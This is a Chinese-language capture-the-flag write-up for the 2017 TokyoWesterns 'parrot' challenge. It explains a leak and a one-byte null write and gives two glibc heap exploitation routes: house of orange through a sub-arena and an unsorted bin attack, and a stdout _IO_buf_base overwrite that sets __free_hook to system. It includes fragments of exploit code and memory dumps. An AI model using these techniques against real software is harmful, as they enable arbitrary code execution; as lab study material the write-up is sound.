2017 TokyoWesterns CTF parrot

Tags: house-of-orange,sub_arena,io_file

前言

这题有两种做法.
一种很麻烦但是用到了sub arena 的知识, 第一次遇到, 所以自己复现了一遍学习以下.
另一种方法时通过修改 io file 结构体实现任意地址写的目的. 这种方式虽然比较常见, 但是用这种方法解这题就非常简单.

之前只是做过通过修改 io file 结构体任意地址读写的题, 对内部原理还是不太了解. 通过这个题也看了下 fread 和 fwrite 的源码, 对修改 io file 结构体进行任意地址读写的原理和构造限制也算有所了解, 不过这应该是另外一篇博客的内容了 :P

程序分析

非经典菜单题, 程序逻辑很简单, 就一个main函数如下:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  size_t size; // [rsp+8h] [rbp-18h]
  void *buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  sleep(3u);
  while ( 1 )
  {
    puts("Size:");
    _isoc99_scanf("%lu", &size);
    getchar();
    if ( !size )
      break;
    buf = malloc(size);
    puts("Buffer:");
    read(0, buf, size);
    *((_BYTE *)buf + size - 1) = 0; //vuln
    write(1, buf, size);
    free(buf);
  }
  exit(0);
}

漏洞有两个:

  1. 读取的输入没有用 \x00 截断, 可以用来 leak
  2. malloc的返回值没有校验, 所以可以可以任意地址写一个字节的 \x00

利用方式1. house of orange

leak

利用第一个漏洞结合 malloc_consolidte 会把不和 av→top 相邻的chunk都放到 unsorted_bin 里面的特性可以泄露 libc 地址

add(io, 0x68, 'aaa\n')
add(io, 0x78, 'aaa\n')
add(io, 0x400, '\n')
libc_addr = u64(rv(io, 6)+"\x00\x00")  

利用第一个漏洞还可以泄露堆地址.

__libc_malloc 源码

void * __libc_malloc (size_t bytes)
{
  mstate ar_ptr;
  void *victim;

  arena_get (ar_ptr, bytes);
  victim = _int_malloc (ar_ptr, bytes);
  /* Retry with another arena only if we were able to find a usable arena
     before.  */
  if (!victim && ar_ptr != NULL) {
      LIBC_PROBE (memory_malloc_retry, 1, bytes);
      ar_ptr = arena_get_retry (ar_ptr, bytes);  // sub arena
      victim = _int_malloc (ar_ptr, bytes);
    }

  if (ar_ptr != NULL)
    (void) mutex_unlock (&ar_ptr->mutex);
  return victim;
}

可以看到当 _int_malloc 失败之后, ptmalloc 会调用 arena_get_retry 生成一个新的 arena 并尝试使用新的 arena 再次调用_int_malloc, 通过跟踪调用链:

arena_get_retryarena_get2_int_new_arena

并查看 _int_new_arena 源码:

static mstate _int_new_arena (size_t size)
{
  mstate a;
  heap_info *h;
  char *ptr;

// mmap 一块内存
  h = new_heap (size + (sizeof (*h) + sizeof (*a) + MALLOC_ALIGNMENT),
                mp_.top_pad);
// 这块内存的头部就是新的 arena
  a = h->ar_ptr = (mstate) (h + 1);
  malloc_init_state (a);
  a->attached_threads = 1;
  a->system_mem = a->max_system_mem = h->size;
  arena_mem += h->size;

// arena后面就是之后chunk被分配到的地方
  /* Set up the top chunk, with proper alignment. */
  ptr = (char *) (a + 1);
  top (a) = (mchunkptr) ptr;   // chunk 和 arena 在一起
  set_head (top (a), (((char *) h + h->size) - ptr) | PREV_INUSE);

// threa_arena 是个全局变量
  thread_arena = a;
  mutex_init (&a->mutex);

...

  return a;
}

再看一下__libc_malloc 中第一次获取 arena 用的 arena_get 函数源码:

#define arena_get(ptr, size) do { \
      ptr = thread_arena;                             \
      arena_lock (ptr, size);                             \
  } while(0)

我们就可以得知之后malloc 的chunk 都会是从新mmap的堆分配的. 新的堆中 chunks 就接在新的 arena 后面.

利用相同的方法可以泄露新的arena(sub arena)的地址, 自然也就得到了堆地址

add(io, 0x68, 'aaa\n')
add(io, 0x78, 'aaa\n')
add(io, 0x400, '\n')

addr = u64(rv(io, 8)) 
second_arena_addr = addr + 0x16
heap_base = addr & (~0xfff)

这样, 我们就有了堆地址和libc地址

利用

接下来就是用第二个漏洞get shell 了, 往哪儿写0是个问题.

uaf.io 的做法是写 sub_arena→top 的低2字节.

pwndbg> arena 0x7ffff0000020
add arena 0x7ffff0000020 to history
{
  mutex = 0,
  flags = 3,
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
  top = 0x7ffff00008b0,
...

写完之后 sub_arena→top 就变成了 0x7ffff00000b0 , 这个时候 sub_arena→top 就指向某个 small bin, 之后就可以任意修改 small bin 了.

  • 为什么不覆盖两次?

    我在复现的时候就再想为什么不干脆把 sub_arena→top 的低字节也覆盖了, 然后再修改 sub_arena→top 使其指向 malloc_hook啥的, 但是发现如果想要malloc很大的size来覆盖某个字节就会走如下调用链

    __libc_malloc_int_mallocsysmalloc

    sysmalloc 中有一个校验:

      assert ((old_top == initial_top (av) && old_size == 0) ||
                ((unsigned long) (old_size) >= MINSIZE &&
                 prev_inuse (old_top) &&
                 ((unsigned long) old_end & (pagesize - 1)) == 0));
    

    第一覆盖之后sub_arena→top 已经不在相对于 pagesize 对齐了, 所以第二次尝试覆盖的时候会失败.

    pwndbg> x/40xg 0x7ffff0000020
    0x7ffff0000020: 0x0000000300000000      0x0000000000000000
    0x7ffff0000030: 0x0000000000000000      0x0000000000000000
    0x7ffff0000040: 0x0000000000000000      0x0000000000000000
    0x7ffff0000050: 0x0000000000000000      0x0000000000000000
    0x7ffff0000060: 0x0000000000000000      0x0000000000000000
    0x7ffff0000070: 0x0000000000000000      0x00007ffff00000b0 <- unsorted bin
    0x7ffff0000080: 0x0000000000000000      0x00007ffff0000078 <- 0x20
    0x7ffff0000090: 0x00007ffff0000078      0x00007ffff0000088 <- 0x30
    0x7ffff00000a0: 0x00007ffff0000088      0x00007ffff0000098 <- 0x40
    0x7ffff00000b0: 0x00007ffff0000098      0x00007ffff00000a8 <- 0x50
    0x7ffff00000c0: 0x00007ffff00000a8      0x00007ffff00000b8 <- 0x60
    0x7ffff00000d0: 0x00007ffff00000b8      0x00007ffff00000c8 <- 0x70
    0x7ffff00000e0: 0x00007ffff00000c8      0x00007ffff00000d8 <- 0x80
    0x7ffff00000f0: 0x00007ffff00000d8      0x00007ffff00000e8 <- 0x90
    0x7ffff0000100: 0x00007ffff00000e8      0x00007ffff00000f8 <- 0xa0
    0x7ffff0000110: 0x00007ffff00000f8      0x00007ffff0000108 <- 0xb0
    0x7ffff0000120: 0x00007ffff0000108      0x00007ffff0000118 <- 0xc0
    0x7ffff0000130: 0x00007ffff0000118      0x00007ffff0000128 <- 0xd0
    0x7ffff0000140: 0x00007ffff0000128      0x00007ffff0000138 <- 0xe0
    0x7ffff0000150: 0x00007ffff0000138      0x00007ffff0000148 <- 0xf0
    0x7ffff0000160: 0x00007ffff0000148      0x00007ffff0000158 <- 0x100
    0x7ffff0000170: 0x00007ffff0000158      0x00007ffff0000168 <- 0x110
    0x7ffff0000180: 0x00007ffff0000168      0x00007ffff0000178 <- 0x120
    0x7ffff0000190: 0x00007ffff0000178      0x00007ffff0000188 <- 
    0x7ffff00001a0: 0x00007ffff0000188      0x00007ffff0000198 <- 
    0x7ffff00001b0: 0x00007ffff0000198      0x00007ffff00001a8 <- 
    0x7ffff00001c0: 0x00007ffff00001a8      0x00007ffff00001b8 <- 
    0x7ffff00001d0: 0x00007ffff00001b8      0x00007ffff00001c8 <- 
    0x7ffff00001e0: 0x00007ffff00001c8      0x00007ffff00001d8 <- 
    0x7ffff00001f0: 0x00007ffff00001d8      0x00007ffff00001e8 <- 
    0x7ffff0000200: 0x00007ffff00001e8      0x00007ffff00001f8 <- 
    0x7ffff0000210: 0x00007ffff00001f8      0x00007ffff0000208 <- 
    0x7ffff0000220: 0x00007ffff0000208      0x00007ffff0000218 <- 

之后我们可以控制 0x7ffff00000c0 往后的内容了.

参考的做法是house of orange. 通过堆 small bins 的一系列操作修改 unsortedbin 指向 _IO_list_all - 0x10.

对 small bins 进行如下修改

    pwndbg> x/40xg 0x7ffff0000020
    0x7ffff0000020: 0x0000000300000000      0x0000000000000000
    0x7ffff0000030: 0x0000000000000000      0x0000000000000000
    0x7ffff0000040: 0x0000000000000000      0x0000000000000000
    0x7ffff0000050: 0x0000000000000000      0x0000000000000000
    0x7ffff0000060: 0x0000000000000000      0x0000000000000000
    0x7ffff0000070: 0x0000000000000000      0x00007ffff00000b0 <- unsorted bin
    0x7ffff0000080: 0x0000000000000000      0x00007ffff0000078 <- 0x20
    0x7ffff0000090: 0x00007ffff0000078      0x00007ffff0000088 <- 0x30
    0x7ffff00000a0: 0x00007ffff0000088      0x00007ffff0000098 <- 0x40
    0x7ffff00000b0: 0x00007ffff0000098      0x00007ffff00000a8 <- 0x50
    0x7ffff00000c0: 0x00007ffff00000a8      0x00007ffff00000e0 <- 0x60
    0x7ffff00000d0: 0x00007ffff00000e0      0x00007ffff0000300 <- 0x70
    0x7ffff00000e0: 0x00007ffff0000300                    0x51 <- 0x80
    0x7ffff00000f0: 0x00007ffff00000e0      0x00007ffff00000e0 <- 0x90
    0x7ffff0000100:             0x0000                   0x101 <- 0xa0
    0x7ffff0000110: 0x00007ffff0000100      0x00007ffff0000100 <- 0xb0
    0x7ffff0000120: 0x00007ffff0000108      0x00007ffff0000118 <- 0xc0
    0x7ffff0000130: 0x00007ffff0000118      0x00007ffff0000128 <- 0xd0
    0x7ffff0000140: 0x00007ffff0000128      0x00007ffff0000138 <- 0xe0
    0x7ffff0000150: 0x00007ffff0000138      0x00007ffff0000148 <- 0xf0
    0x7ffff0000160: 0x00007ffff0000148      0x00007ffff0000100 <- 0x100
    ...
    
    0x7ffff0000300: fake_IO_file

然后先申请一个 0xf0 大小的chunk, malloc就会返回 0x7ffff0000100 (chunk1), 等free之后就会插入到unsorted_bin中, unsorted_bin→bk = 0x7ffff0000100

再申请一个 0x50 大小的chunk, malloc会返回 0x7ffff00000f0 (chunk2), 利用chunk2可以修改 chunk1 的size, fd, bk等值, 因为 chunk1 再unsorted bin 中, 所以修改其bk为 _IO_list_all-0x10 进行 unsorted_bin attack 结合 house_of_orange 方法就可以 get shell了

可以用3种覆盖方法:

先定义个变量: target = _IO_list_all-0x10

  1. chunk1→size = 0x30, chunk1→bk= target; 然后malloc(0x10):

    malloc会进入穷尽 unsorted bin 的循环:

    1. 将chunk1 当作victim, 因为victim的size是0x30, 和想要的0x20不一样, 所以会将其放入smallbin中, 继续循环. unsorted_bin→bk = target, target→fd(即_IO_list_all)=unsorted_bin

    2. 将target 当作新的 victim, 但是因为 victim→size = 0, 会报错从而进入 house_of_orange流程:

       while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
               {
                 bck = victim->bk;
                 if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
                     || __builtin_expect (victim->size > av->system_mem, 0))
                   malloc_printerr (check_action, "malloc(): memory corruption",
                                    chunk2mem (victim), av);
      
  2. chunk1→size = 0x21, chunk1→bk= target, next_chunk(chunk1)→size = 0; 然后malloc(0x10):

    malloc时没有问题, 但是free的时候会触发 invalid next size 错误

     if (have_lock // # 3904 in glibc 2.23
             || ({ assert (locked == 0);
               mutex_lock(&av->mutex);
               locked = 1;
               chunk_at_offset (p, size)->size <= 2 * SIZE_SZ
                 || chunksize (chunk_at_offset (p, size)) >= av->system_mem;
               }))
           {
             errstr = "free(): invalid next size (fast)";
             goto errout;
           }
    
  3. chunk1→size = 0x27, chunk1→bk= target; 然后malloc(0x10):

    这种情况下 free 的时候 会尝试 unmap 自然会报错

     if (chunk_is_mmapped (p))                       /* release mmapped memory. */
         {
           /* see if the dynamic brk/mmap threshold needs adjusting */
           if (!mp_.no_dyn_threshold
               && p->size > mp_.mmap_threshold
               && p->size <= DEFAULT_MMAP_THRESHOLD_MAX)
             {
               mp_.mmap_threshold = chunksize (p);
               mp_.trim_threshold = 2 * mp_.mmap_threshold;
               LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
                           mp_.mmap_threshold, mp_.trim_threshold);
             }
           munmap_chunk (p);
           return;
         }
    

house of orange

具体操作参考有关 house_of_orange 的博客吧, 不再赘述

_IO_list_all → unsorted_bin

把 unsorted_bin 当作 IO_file的话, 0x60 对应的 small bin 正好时 io_file→chain, 所以让其指向 heap_base + 0x300, 在那个地方再伪造一个 io_file 结构体即可

这个点卡了挺久了, 主要还是对house_of_orange 利用方式不太了解.

不过 2.23 之后 house_of_orange 都用不了, 可惜啊

利用方式2: 修改 io file 结构体

泄露地址的方式和之前一样, 不过这儿只用泄露libc 地址就可以了.

然后利用任意地址写0将 stdout→_IO_buf_base 的低字节覆盖为 \x00, 然后 stdout→_IO_buf_base 就会指向 stdout 结构体里面, 之后就可以覆盖 stdout 结构体里面的很多指针. 再次修改 _IO_buf_base 和 _IO_buf_ptr 使其指向 free_hook 就可以修改 free hook 为 system.

通过修改 io file 结构体进行任意地址写的操作可以参考 另一篇博客 或者 angelboy 的 slide

参考

house of orange 做法 : https://uaf.io/exploitation/2017/09/03/TokyoWesterns-2017-Parrot.html

修改 io file 结构体做法 : http://brieflyx.me/2017/ctf-writeups/twctf3-2017-parrot/

你可能感兴趣的:(2017 TokyoWesterns CTF parrot)